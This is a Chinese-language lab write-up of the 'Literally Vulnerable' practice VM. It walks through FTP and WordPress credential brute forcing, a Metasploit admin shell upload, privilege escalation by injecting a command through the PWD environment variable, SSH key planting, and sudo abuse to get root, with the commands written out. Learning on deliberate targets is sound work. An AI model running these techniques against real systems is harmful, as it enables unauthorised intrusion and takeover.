literally
一个不错的练手靶机
靶机 : literally
渗透机 : kali + win10
补充 : 如果靶机自带的是nat网络 , 如果需要更改 , 别忘记啦 , 我忘记是什么啦
目标: 拿到(local.txt, user.txt & root.txt)
0x01. 信息收集
1. 确定靶机ip
扫描当前网段ip
靶机 192.168.0.114 kali 1982.168.0.115
2. 全端口扫描
nmap -sS -Pn -A -p 0-65535 -n 192.168.0.114
推荐大家以后打靶机和渗透都用nmap的这种详细扫描 , 能提供很多的思路
开放了21 , 22 , 80 , 65535端口 , 接下来就是逐个端口的测试 , 其中21端口可以匿名登录 , anonymous
0x02. 漏洞发现
1. 端口测试
使用kali自带的ftp连接
ftp 192.168.0.114
发现存在一个备份的密码文件, 是关于Doe用户的
, 下载下来 , 以便后面的爆破备用
接下来我们把这个做成密码文件 , 尝试对22端口爆破
hydra -l Doe -P ./backupPasswords -vV -f 192.168.0.114 ssh
发现爆破无结果
2. web打点
由于爆破无结果 , 那么访问80端口 , 尝试从web进去
http://192.168.0.114/
发现是wordpress搭建的 , mysql数据库 , 乌班图系统 , php语言
随手点了点可以跳转的页面发现
可能需要绑定域名 ( 一般靶机就喜欢搞这个 ) , 进入我们的host文件追加
保存 , 退出 , 再次访问
http://literally.vulnerable/?author=1
既然是wordpress 再加上我们之前收集到了密码文件 , 直接上wpscan扫描一下用户
wpscan --url http://192.168.0.114/ -e
结果就是只扫出来了一个admin用户 , 尝试一下用刚才收集的密码爆破
wpscan --url http://192.168.0.114/ -U user.txt -P backupPasswords
尴尬 , 依然是莫有爆破出来 , 接下来扫一下目录和备份文件说不定会有一些奇妙的收获呢 , 对于这种国外的靶机 , 一般我推荐dirb 的 big.txt 扫描 , 当然你也可以用dirsearch , 个人常用的一款
扫描后仍然是一无所获 , gg
还有个65535端口 , 没有测试 , 我一看这个端口就知道不简单 , 估计是个突破口
那么访问一下吧 , 嘿嘿
http://192.168.0.114:65535
好家伙 , 是一个apache2的默认页面 , 那就先扫一下目录看看吧 , 依旧推荐dirb扫描 , 最好就是dirsearch两个配合起来 , 很有可能别人拿下了一个站点 , 你没拿下 , 就是他运气好 , 扫描到了一个你没有扫到的目录
dirsearch扫描的没啥有用的 , 但是dirb的大字典就不一样了 , 嘿嘿dirb http://192.168.0.114:65535/ /usr/share/wordlists/dirb/big.txt
好家伙 , 我就知道这个端口下面没有那些简单 , 又是一个wordpress
页面信息 : 一个用户notadmin , 需要输入密码连接
当然还是要枚举一下用户的
wpscan --url http://192.168.0.114:65535/phpcms/ -e不要忘记在kali中也要修改host文件哈
获取到两个用户 , 那么先用wpscan爆破一下密码
maybeadminnotadmin
wpscan --url http://192.168.0.114:65335/phpcms/ -U user.txt -P backupPasswords
好家伙 , 难道maybeadmin就是Doe那个人???? , 不管了 , 先登录
maybeadmin / $EPid%J2L9LufO5
在post的一个页面 , 随手一点 , 发现了notadmin的密码
切换账号 , 使用notadmin登录
notadmin:Pa$$w0rd13!&
果然notadmin是一个管理员用户
0x03. 反弹shell
1. getshell
WordPress在管理员权限下常见的有两种reverse shell的方式:
第一种:编辑Themes中的php页面,将reverse shell的代码添加进去,然后kali监听端口、访问php页面;(也可以利用PHP一句话,使用蚁剑连接,再反弹shell,得到shell)
第二种:直接用MSF中exploit/unix/webapp/wp_admin_shell_upload模块,show options查看各种需要set的配置,利用得到的notadmin用户和密码,获取shell。
这里我用第二种msf
msfconsole
设置选项
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password Pa$$w0rd13!&password => Pa$$w0rd13!&msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts 192.168.0.114rhosts => 192.168.0.114msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rport 65535rport => 65535msf6 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /phpcmstargeturi => /phpcmsmsf6 exploit(unix/webapp/wp_admin_shell_upload) > set username notadminusername => notadminmsf6 exploit(unix/webapp/wp_admin_shell_upload) > run
接收到反弹连接 , 然后进入shell , 再进入交互式shell
shellpython3 -c 'import pty;pty.spawn("/bin/bash")'
发现靶机上默认找不到python , 尝试用python3解决 , 一般这类靶机喜欢在家目录下做文章 , 所以进入家目录看看
www-data@literallyvulnerable:/home$ lslsdoe john好家伙 , 终于看到doe用户了 , 既然来了 , 那就进去看看有什么吧
在/home下发现doe、john两个用户,各种胡乱fuzz,发现有执行和读取的文件少之又少,可见必须先提权才行。发现一个可执行已经编译的itseasy文件,而且是任意用户可以执行的,这里执行了一下这个可执行文件,得到的结果是:Your Path is: /home/doe。由于当前所在路径就是/home/doe,所以猜测这个可执行文件是调用了pwd命令,可以通过PATH环境变量进行提权。
但此处利用PATH好像没有用,这里可能调用的是PWD
环境变量,修改PWD
环境变量发现成功得到john
用户的shell。
export PWD=\$\(/bin/bash\) \是对特殊字符转义./itseasy
但这个时候可以执行命令但是并无回显任何东西,既然我们有一个较高权限的shell,这里干脆使用SSH进行接。
补充linux环境变量(PWD是环境变量,而pwd对应的是可执行文件/usr/bin/pwd。如果这里调用的是pwd,那么我们可以通过PATH环境变量提权,而这里调用的是PWD环境变量,所以我们只能通过修改PWD的值进行提权)PWD 和 OLDPWD PWD 记录当前的目录路径,当利用 cd 命令切换当前目录时,系统自动更新 PWD 的值, OLDPWD 记录旧的工作目录,即用户所处的前一个目录。 (2) PATH PATH 是 Linux 中一个极为重要的环境变量,它用于帮助 Shell 找到用户输入的命令。用户所输入的每个命令实际上是一个源代码文件,计算机执行这个文件里的代码以实现这个命令的功能,这些源代码文件称为可执行文件。可执行文件存在于各种各样的目录下, PATH 就记录了一系列的目录列表, Shell 为每个输入命令搜索 PATH 中的目录列表。 (3) HOME HOME 记录当前用户的目录,由 /etc/passwd 的倒数第 2 个域决定, HOME 目录用于保存用户自己的文件。
2. 写入ssh公钥
第一步在kali上生成无密码的私钥和公钥
cd /root/.sshssh-keygen -t rsa (-t,表示使用rsa加密)
可以看到生成了id_rsa(私钥)、id_rsa.pub(公钥)
第二步在靶机上新建.ssh文件夹 , 并写生成的公钥
mkdir -p /home/john/.sshecho “公钥” > /home/john/.ssh/authorized_keys
接下来就是ssh直接连接啦
ssh john@192.168.0.114
拿到第一个flag
发现家目录下有一个.local的隐藏文件夹 , 进去看看
一段操作发现了其中的隐藏密码 , 还是base64编码的 , 尝试解码
john@literallyvulnerable:~/.local/share/tmpFiles$ echo "am9objpZWlckczhZNDlJQiNaWko=" | base64 -djohn:YZW$s8Y49IB#ZZJjohn@literallyvulnerable:~/.local/share/tmpFiles$
账密备用
john:YZW$s8Y49IB#ZZJ
0x04. 提权
1. sodu提权
输入john的密码 , 发现 john用户不需要输入root密码就可以执行 /var/www/html/test.html 这个文件
ok , 就把/bin/bash写进去吧
echo "/bin/bash" > /var/www/html/test.html
尴尬的是没有权限
既然是网站下的文件 , 我们用之前的www-data那个用户写入试试
echo "/bin/bash" > /var/www/html/test.htmlchmod 777 test.html
然后切换到john用户 sudo执行
sudo ./test.htmlwhoamicd ~lscat user.txtcat /home/doe/local.txt
至此三个flag都已获得
0x05. 总结
本次靶机复现过程中,首先ftp服务器的匿名登陆,得到后台用户密码;
80页面的信息收集,以及配置hosts文件让页面正常回显很有意义;
在65535页面中,wpscan的枚举用户名发挥了重大作用,然后后续中使用msf反弹shell,得到低权限用户;
提权过程中,使用PWD环境变量提权,提升为john用户,SSH密钥登录,以及对ssh安全外壳协议的学习是本次的收获;
还需要理解的地方就是sudo -l 和 写ssh公钥